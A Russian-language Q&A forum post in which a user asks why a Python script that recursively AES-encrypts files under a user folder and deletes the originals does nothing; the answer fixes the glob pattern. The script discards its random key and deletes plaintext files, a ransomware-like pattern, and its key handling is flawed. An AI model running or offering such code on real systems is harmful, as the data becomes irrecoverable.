Рекурсивный глобус не возвращает файла
import glob
import os, random, struct
from Crypto.Cipher import AES
key = str(random.randint(10000000,999999999) * 42)
startPath = 'C:\\Users\\dev\\Desktop\\test'
def encrypt_file(key, in_filename, out_filename=None, chunksize=64*1024):
""" Encrypts a file using AES (CBC mode) with the
given key.
key:
The encryption key - a string that must be
either 16, 24 or 32 bytes long. Longer keys
are more secure.
in_filename:
Name of the input file
out_filename:
If None, '<in_filename>.enc' will be used.
chunksize:
Sets the size of the chunk which the function
uses to read and encrypt the file. Larger chunk
sizes can be faster for some files and machines.
chunksize must be divisible by 16.
"""
if not out_filename:
out_filename = in_filename + '.enc'
iv = os.urandom(16)
encryptor = AES.new(key ,AES.MODE_CBC, iv)
filesize = os.path.getsize(in_filename)
with open(in_filename, 'rb') as infile:
with open(out_filename, 'wb') as outfile:
outfile.write(struct.pack('<Q', filesize))
outfile.write(iv)
while True:
chunk = infile.read(chunksize)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - len(chunk) % 16)
outfile.write(encryptor.encrypt(chunk))
#Encrypts all files recursively starting from startPath
for filename in glob.iglob(startPath, recursive=True):
if(os.path.isfile(filename)):
print('Encrypting> ' + filename)
encrypt_file(key, filename)
os.remove(filename)
При запуске этого в Python 3.7 я не получаю ошибок, но ничего не происходит, я использую его для работы, чтобы зашифровать конфиденциальный каталог пользователя, когда пользователь выходит из системы, все остальные части моей программы работают. Может кто-нибудь объяснить, что с ним не так?
1 ответ
Решение
Если рекурсивный имеет значение true, шаблон "**" будет соответствовать любым файлам и нулю или более каталогов и подкаталогов. Если за шаблоном следует os.sep, совпадают только каталоги и подкаталоги.
Итак, если вы хотите использовать glob
здесь вам нужно включить этот шаблон:
for filename in glob.iglob(os.path.join(startPath, '**'), recursive=True):
# ....